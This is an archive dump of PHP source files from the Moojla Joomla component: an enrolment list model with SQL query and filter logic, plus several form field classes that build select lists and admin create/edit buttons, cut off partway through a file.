* @return translatable string
*/
public function selectionTranslation($value,$name)
{
// Array of role language strings
if ($name === 'role')
{
$roleArray = array(
0 => 'COM_MOOJLA_ENROLMENT_SELECT_AN_OPTION',
1 => 'COM_MOOJLA_ENROLMENT_MANAGER',
2 => 'COM_MOOJLA_ENROLMENT_COURSE_CREATOR',
3 => 'COM_MOOJLA_ENROLMENT_TEACHER',
4 => 'COM_MOOJLA_ENROLMENT_NONEDITING_TEACHER',
5 => 'COM_MOOJLA_ENROLMENT_STUDENT'
);
// Now check if value is found in this array
if (isset($roleArray[$value]) &&
MoojlaHelper::checkString($roleArray[$value]))
{
return $roleArray[$value];
}
}
return $value;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_enrolment',
'a'));
// From the moojla_course table.
$query->select($db->quoteName('g.fullname','moojlacourse_fullname'));
$query->join('LEFT',
$db->quoteName('#__moojla_course', 'g') . ' ON
(' . $db->quoteName('a.moojlacourse') . ' = ' .
$db->quoteName('g.remoteid') . ')');
// From the users table.
$query->select($db->quoteName('h.name','jid_name'));
$query->join('LEFT', $db->quoteName('#__users',
'h') . ' ON (' . $db->quoteName('a.jid') .
' = ' . $db->quoteName('h.id') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.moojlacourse LIKE '.$search.' OR
g.fullname LIKE '.$search.' OR a.jid LIKE '.$search.'
OR h.name LIKE '.$search.')');
}
}
// Filter by Role.
$_role = $this->getState('filter.role');
if (is_numeric($_role))
{
if (is_float($_role))
{
$query->where('a.role = ' . (float) $_role);
}
else
{
$query->where('a.role = ' . (int) $_role);
}
}
elseif (MoojlaHelper::checkString($_role))
{
$query->where('a.role = ' .
$db->quote($db->escape($_role)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.role');
$id .= ':' .
$this->getState('filter.moojlacourse');
$id .= ':' . $this->getState('filter.jid');
$id .= ':' . $this->getState('filter.enrolldate');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_enrolment'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_enrolment'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/fields/ads.php000064400000004215151165724400010564 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage ads.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Ads Form Field class for the Moojla component
*/
class JFormFieldAds extends JFormFieldList
{
/**
* The ads field type.
*
* @var string
*/
public $type = 'ads';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$document = JFactory::getDocument();
$document->addScript('components/com_moojla/assets/js/admin.js');
JPluginHelper::importPlugin("moojlaaditionalfields");
$dispatcher = JEventDispatcher::getInstance();
$items = $dispatcher->trigger("getName", array());
$options = array();
$options[] = JHtml::_('select.option', '',
'Select an option');
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->additional_data_source_name);
}
}
return $options;
}
}
models/fields/contentsfiltercontentsmoduleid.php000064400000005007151165724400016361
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage contentsfiltercontentsmoduleid.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Contentsfiltercontentsmoduleid Form Field class for the Moojla component
*/
class JFormFieldContentsfiltercontentsmoduleid extends JFormFieldList
{
/**
* The contentsfiltercontentsmoduleid field type.
*
* @var string
*/
public $type = 'contentsfiltercontentsmoduleid';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('contents_module_id'));
$query->from($db->quoteName('#__moojla_content'));
$query->order($db->quoteName('contents_module_id') .
' ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_CONTENTS_MODULE_ID')
. ' -');
if ($results)
{
$results = array_unique($results);
foreach ($results as $contents_module_id)
{
// Now add the contents_module_id and its text to the options array
$_filter[] = JHtml::_('select.option', $contents_module_id,
$contents_module_id);
}
}
return $_filter;
}
}
models/fields/contentsfiltermimetype.php000064400000004642151165724400014636
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage contentsfiltermimetype.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Contentsfiltermimetype Form Field class for the Moojla component
*/
class JFormFieldContentsfiltermimetype extends JFormFieldList
{
/**
* The contentsfiltermimetype field type.
*
* @var string
*/
public $type = 'contentsfiltermimetype';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('mimetype'));
$query->from($db->quoteName('#__moojla_content'));
$query->order($db->quoteName('mimetype') . '
ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_CONTENTS_MIMETYPE') .
' -');
if ($results)
{
$results = array_unique($results);
foreach ($results as $mimetype)
{
// Now add the mimetype and its text to the options array
$_filter[] = JHtml::_('select.option', $mimetype, $mimetype);
}
}
return $_filter;
}
}
models/fields/course.php000064400000015153151165724400011320
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Course Form Field class for the Moojla component
*/
class JFormFieldCourse extends JFormFieldList
{
/**
* The course field type.
*
* @var string
*/
public $type = 'course';
/**
* Override to add new button
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
// see if we should add buttons
$set_button = $this->getAttribute('button');
// get html
$html = parent::getInput();
// if true set button
if ($set_button === 'true')
{
$button = array();
$script = array();
$button_code_name = $this->getAttribute('name');
// get the input from url
$app = JFactory::getApplication();
$jinput = $app->input;
// get the view name & id
$values = $jinput->getArray(array(
'id' => 'int',
'view' => 'word'
));
// check if new item
$ref = '';
$refJ = '';
if (!is_null($values['id']) &&
strlen($values['view']))
{
// only load referral if not new item.
$ref = '&ref=' . $values['view'] .
'&refid=' . $values['id'];
$refJ = '&ref=' . $values['view'] .
'&refid=' . $values['id'];
// get the return value.
$_uri = (string) JUri::getInstance();
$_return = urlencode(base64_encode($_uri));
// load return value.
$ref .= '&return=' . $_return;
$refJ .= '&return=' . $_return;
}
// get button label
$button_label = trim($button_code_name);
$button_label = preg_replace('/_+/', ' ',
$button_label);
$button_label = preg_replace('/\s+/', ' ',
$button_label);
$button_label = preg_replace("/[^A-Za-z ]/", '',
$button_label);
$button_label = ucfirst(strtolower($button_label));
// get user object
$user = JFactory::getUser();
// only add if user allowed to create course
if ($user->authorise('course.create',
'com_moojla') && $app->isAdmin()) // TODO for now only
in admin area.
{
// build Create button
$button[] = '<a
id="'.$button_code_name.'Create" class="btn
btn-small btn-success hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_CREATE_NEW_S',
$button_label).'" style="border-radius: 0px 4px 4px 0px;
padding: 4px 4px 4px 7px;"
href="index.php?option=com_moojla&view=course&layout=edit'.$ref.'"
>
<span class="icon-new
icon-white"></span></a>';
}
// only add if user allowed to edit course
if ($user->authorise('course.edit', 'com_moojla')
&& $app->isAdmin()) // TODO for now only in admin area.
{
// build edit button
$button[] = '<a
id="'.$button_code_name.'Edit" class="btn
btn-small hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_EDIT_S',
$button_label).'" style="display: none; padding: 4px 4px 4px
7px;" href="#" >
<span class="icon-edit"></span></a>';
// build script
$script[] = "
jQuery(document).ready(function() {
jQuery('#adminForm').on('change',
'#jform_".$button_code_name."',function (e) {
e.preventDefault();
var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
".$button_code_name."Button(".$button_code_name."Value);
});
var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
".$button_code_name."Button(".$button_code_name."Value);
});
function ".$button_code_name."Button(value) {
if (value > 0) {
// hide the create button
jQuery('#".$button_code_name."Create').hide();
// show edit button
jQuery('#".$button_code_name."Edit').show();
var url =
'index.php?option=com_moojla&view=courses&task=course.edit&id='+value+'".$refJ."';
jQuery('#".$button_code_name."Edit').attr('href',
url);
} else {
// show the create button
jQuery('#".$button_code_name."Create').show();
// hide edit button
jQuery('#".$button_code_name."Edit').hide();
}
}";
}
// check if button was created for course field.
if (is_array($button) && count($button) > 0)
{
// Load the needed script.
$document = JFactory::getDocument();
$document->addScriptDeclaration(implode(' ',$script));
// return the button attached to input field.
return '<div class="input-append">' .$html .
implode('',$button).'</div>';
}
}
return $html;
}
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.remoteid','a.shortname'),array('remoteid','course_detail_request_id_shortname')));
$query->from($db->quoteName('#__moojla_course',
'a'));
$query->where($db->quoteName('a.published') . ' =
1');
$query->order('a.shortname ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__moojla_course');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$query->where('a.published = 1');
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->remoteid,
$item->course_detail_request_id_shortname);
}
}
return $options;
}
}
models/fields/coursegroupmapsfilterrole.php000064400000004756151165724400015355
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage coursegroupmapsfilterrole.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Coursegroupmapsfilterrole Form Field class for the Moojla component
*/
class JFormFieldCoursegroupmapsfilterrole extends JFormFieldList
{
/**
* The coursegroupmapsfilterrole field type.
*
* @var string
*/
public $type = 'coursegroupmapsfilterrole';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('role'));
$query->from($db->quoteName('#__moojla_course_group_map'));
$query->order($db->quoteName('role') . ' ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
if ($results)
{
// get course_group_mapsmodel
$model = MoojlaHelper::getModel('course_group_maps');
$results = array_unique($results);
foreach ($results as $role)
{
// Translate the role selection
$text = $model->selectionTranslation($role,'role');
// Now add the role and its text to the options array
$_filter[] = JHtml::_('select.option', $role,
JText::_($text));
}
}
return $_filter;
}
}
models/fields/coursescategory.php000064400000005112151165724400013233
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage coursescategory.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Coursescategory Form Field class for the Moojla component
*/
class JFormFieldCoursescategory extends JFormFieldList
{
/**
* The coursescategory field type.
*
* @var string
*/
public $type = 'coursescategory';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$params = JComponentHelper::getParams('com_moojla');
$shop_integration = trim($params->get('shop_integration'));
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
if($shop_integration == 'hk' ){
$query->select($db->quoteName(array('category_id','category_name'),array('id','title')));
$query->from($db->quoteName('#__hikashop_category',
'a'));
$query->where($db->quoteName('a.category_type') . '
= "product"');
$query->where($db->quoteName('a.category_published') .
' = 1');
}
$db->setQuery((string)$query);
if($shop_integration != "0"){
$items = $db->loadObjectList();
}
else
{
$items = array();
}
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->title);
}
}
return $options;
}
}
models/fields/customtemplatestyle.php000064400000006407151165724400014151
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage customtemplatestyle.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Customtemplatestyle Form Field class for the Moojla component
*/
class JFormFieldCustomtemplatestyle extends JFormFieldList
{
/**
* The customtemplatestyle field type.
*
* @var string
*/
public $type = 'customtemplatestyle';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.id','a.title'),array('id','course_templatestyle_forcourseconfig_title')));
$query->from($db->quoteName('#__template_styles',
'a'));
$query->where($db->quoteName('a.client_id') . ' =
0');
$query->order('a.title ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_templates'))
{
$columns = $db->getTableColumns('#__template_styles');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
$tmp_op = array();
if ($items)
{
$first = current($items);
$lbl = explode(' - ',
$first->course_templatestyle_forcourseconfig_title)[0];
$options[] = JHtml::_('select.option', '',
JText::_('JOPTION_USE_DEFAULT'));
$groups = array();
foreach($items as $item)
{
$thislbl = explode(' - ',
$item->course_templatestyle_forcourseconfig_title)[0];
$groups[$thislbl][] = ['id' => $item->id,
'course_templatestyle_title' =>
$item->course_templatestyle_forcourseconfig_title];
}
foreach($groups as $gkey => $group)
{
$options[] = JHtmlSelect::optgroup($gkey);
foreach($group as $item)
{
$options[] = JHtml::_('select.option',
$item['id'], $item['course_templatestyle_title']);
}
$options[] = JHtmlSelect::optgroup($gkey);
}
}
return $options;
}
}
models/fields/customusergroup.php000064400000014767151165724400013320
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage customusergroup.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Customusergroup Form Field class for the Moojla component
*/
class JFormFieldCustomusergroup extends JFormFieldList
{
/**
* The customusergroup field type.
*
* @var string
*/
public $type = 'customusergroup';
/**
* Override to add new button
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
// see if we should add buttons
$set_button = $this->getAttribute('button');
// get html
$html = parent::getInput();
// if true set button
if ($set_button === 'true')
{
$button = array();
$script = array();
$button_code_name = $this->getAttribute('name');
// get the input from url
$app = JFactory::getApplication();
$jinput = $app->input;
// get the view name & id
$values = $jinput->getArray(array(
'id' => 'int',
'view' => 'word'
));
// check if new item
$ref = '';
$refJ = '';
if (!is_null($values['id']) &&
strlen($values['view']))
{
// only load field details if not new item.
$ref = '&field=' . $values['view'] .
'&field_id=' . $values['id'];
$refJ = '&field=' . $values['view'] .
'&field_id=' . $values['id'];
// get the return value.
$_uri = (string) JUri::getInstance();
$_return = urlencode(base64_encode($_uri));
// load return value.
$ref = '&return=' . $_return;
$refJ = '&return=' . $_return;
}
// get button label
$button_label = trim($button_code_name);
$button_label = preg_replace('/_+/', ' ',
$button_label);
$button_label = preg_replace('/\s+/', ' ',
$button_label);
$button_label = preg_replace("/[^A-Za-z ]/", '',
$button_label);
$button_label = ucfirst(strtolower($button_label));
// get user object
$user = JFactory::getUser();
// only add if user allowed to create group
if ($user->authorise('core.create', 'com_users')
&& $app->isAdmin()) // TODO for now only in admin area.
{
// build Create button
$button[] = '<a
id="'.$button_code_name.'Create" class="btn
btn-small btn-success hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_CREATE_NEW_S',
$button_label).'" style="border-radius: 0px 4px 4px 0px;
padding: 4px 4px 4px 7px;"
href="index.php?option=com_users&view=group&layout=edit'.$ref.'"
>
<span class="icon-new
icon-white"></span></a>';
}
// only add if user allowed to edit group
if ($user->authorise('core.edit', 'com_users')
&& $app->isAdmin()) // TODO for now only in admin area.
{
// build edit button
$button[] = '<a
id="'.$button_code_name.'Edit" class="btn
btn-small hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_EDIT_S',
$button_label).'" style="display: none; padding: 4px 4px 4px
7px;" href="#" >
<span class="icon-edit"></span></a>';
// build script
$script[] = "
jQuery(document).ready(function() {
jQuery('#adminForm').on('change',
'#jform_".$button_code_name."',function (e) {
e.preventDefault();
var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
".$button_code_name."Button(".$button_code_name."Value);
});
var ".$button_code_name."Value =
jQuery('#jform_".$button_code_name."').val();
".$button_code_name."Button(".$button_code_name."Value);
});
function ".$button_code_name."Button(value) {
if (value > 0) {
// hide the create button
jQuery('#".$button_code_name."Create').hide();
// show edit button
jQuery('#".$button_code_name."Edit').show();
var url =
'index.php?option=com_users&view=groups&task=group.edit&id='+value+'".$refJ."';
jQuery('#".$button_code_name."Edit').attr('href',
url);
} else {
// show the create button
jQuery('#".$button_code_name."Create').show();
// hide edit button
jQuery('#".$button_code_name."Edit').hide();
}
}";
}
// check if button was created for group field.
if (is_array($button) && count($button) > 0)
{
// Load the needed script.
$document = JFactory::getDocument();
$document->addScriptDeclaration(implode(' ',$script));
// return the button attached to input field.
return '<div class="input-append">' .$html .
implode('',$button).'</div>';
}
}
return $html;
}
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.id','a.title'),array('id','course_group_title')));
$query->from($db->quoteName('#__usergroups',
'a'));
$query->order('a.title ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_users'))
{
$columns = $db->getTableColumns('#__usergroups');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
$options[] = JHtml::_('select.option', '',
'Select an option');
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->course_group_title);
}
}
return $options;
}
}
models/fields/enrolmentsfilterrole.php000064400000005047151165724400014277
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolmentsfilterrole.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Enrolmentsfilterrole Form Field class for the Moojla component
*/
class JFormFieldEnrolmentsfilterrole extends JFormFieldList
{
/**
* The enrolmentsfilterrole field type.
*
* @var string
*/
public $type = 'enrolmentsfilterrole';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('role'));
$query->from($db->quoteName('#__moojla_enrolment'));
$query->order($db->quoteName('role') . ' ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_ROLE') . '
-');
if ($results)
{
// get enrolmentsmodel
